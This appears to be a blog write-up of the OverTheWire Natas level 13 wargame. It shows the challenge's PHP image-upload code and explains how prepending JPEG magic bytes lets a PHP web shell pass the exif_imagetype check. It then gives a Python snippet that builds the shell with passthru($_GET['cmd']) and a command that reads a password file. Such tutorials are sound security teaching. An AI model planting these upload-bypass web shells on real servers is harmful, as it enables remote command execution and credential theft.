Level 13
<html>
<head><link rel="stylesheet" type="text/css" href="http://www.overthewire.org/wargames/natas/level.css"></head>
<body>
<h1>natas13</h1>
<div id="content">
For security reasons, we now only accept image files!<br/><br/>
<?
function genRandomString() {
$length = 10;
$characters = "0123456789abcdefghijklmnopqrstuvwxyz";
$string = "";
for ($p = 0; $p < $length; $p++) {
$string .= $characters[mt_rand(0, strlen($characters)-1)];
}
return $string;
}
function makeRandomPath($dir, $ext) {
do {
$path = $dir."/".genRandomString().".".$ext;
} while(file_exists($path));
return $path;
}
function makeRandomPathFromFilename($dir, $fn) {
$ext = pathinfo($fn, PATHINFO_EXTENSION);
return makeRandomPath($dir, $ext);
}
if(array_key_exists("filename", $_POST)) {
$target_path = makeRandomPathFromFilename("upload", $_POST["filename"]);
if(filesize($_FILES['uploadedfile']['tmp_name']) > 1000) {
echo "File is too big";
}else if (! exif_imagetype($_FILES['uploadedfile']['tmp_name'])) {
echo "File is not an image";
} else {
if(move_uploaded_file($_FILES['uploadedfile']['tmp_name'], $target_path)) {
echo "The file <a href=\"$target_path\">$target_path</a> has been uploaded";
} else{
echo "There was an error uploading the file, please try again!";
}
}
} else {
?>
<form enctype="multipart/form-data" action="index.php" method="POST">
<input type="hidden" name="MAX_FILE_SIZE" value="1000" />
<input type="hidden" name="filename" value="<? print genRandomString(); ?>.jpg" />
Choose a JPEG to upload (max 1KB):<br/>
<input name="uploadedfile" type="file" /><br />
<input type="submit" value="Upload File" />
</form>
<? } ?>
<div id="viewsource"><a href="index-source.html">View sourcecode</a></div>
</div>
</body>
</html>
To make things easier, I have highlighted the changes since the previous challenge. Using this knowledge, we can assume that we want to find a way to again upload a PHP file which will give us system command execution. With that in mind, let’s think about how to tackle this challenge.
A good rule of thumb to remember when dealing with Wargames or CTFs is that if a challenge is different than its previous counterpart by one or two lines, those are the lines that matter. Knowing this, there must be some way to bypass the new exif_imagetype function. Let’s start by going straight to the documentation.
The documentation for this function says that it will return a constant (which we can see is > 0) if and only if the first bytes of an image are successfully checked against a signature. What does this mean? Well, most filetypes such as JPEG, ZIP, TAR, etc. have a “Magic Number” at the beginning of the file to help verify its file type. So to pass the exif_imagetype function check, our file must start with the magic number of a supported image format.
But wait, won’t that make the file unusable? The answer is no, because if we are still able to pass our file with a .php extension then the file will be parsed as PHP, and the only code that will be executed will be that within the opening (<?) and closing (?>) PHP tags. We can start our file with anything we want.
Now we simply research a supported file format of our choice and find the magic number. I chose JPEG and found the magic number here. I then used the following short Python script to create my file.
>>> fh = open('shell.php','w')
>>> fh.write('\xFF\xD8\xFF\xE0' + '<? passthru($_GET["cmd"]); ?>')
>>> fh.close()
With my file created, I can use the same steps outlined in the previous post to upload my file. Let’s see what happens:
Awesome. As expected, our file was uploaded successfully, and by browsing to the URL [filename].php?cmd=cat /etc/natas_webpass/natas14, we receive the following:
A big thank you goes out to Reddit user fryboy for catching why the first four characters are included in the output. I completely overlooked the fact that anything outside of the PHP code tags is simply echoed back to the server. Therefore, these first 4 bytes are our magic number. With this being the case, our key is everything starting with the lower-case ‘s’. We can use this to log in to the next challenge.
Almost there! More writeups to come.
-Jordan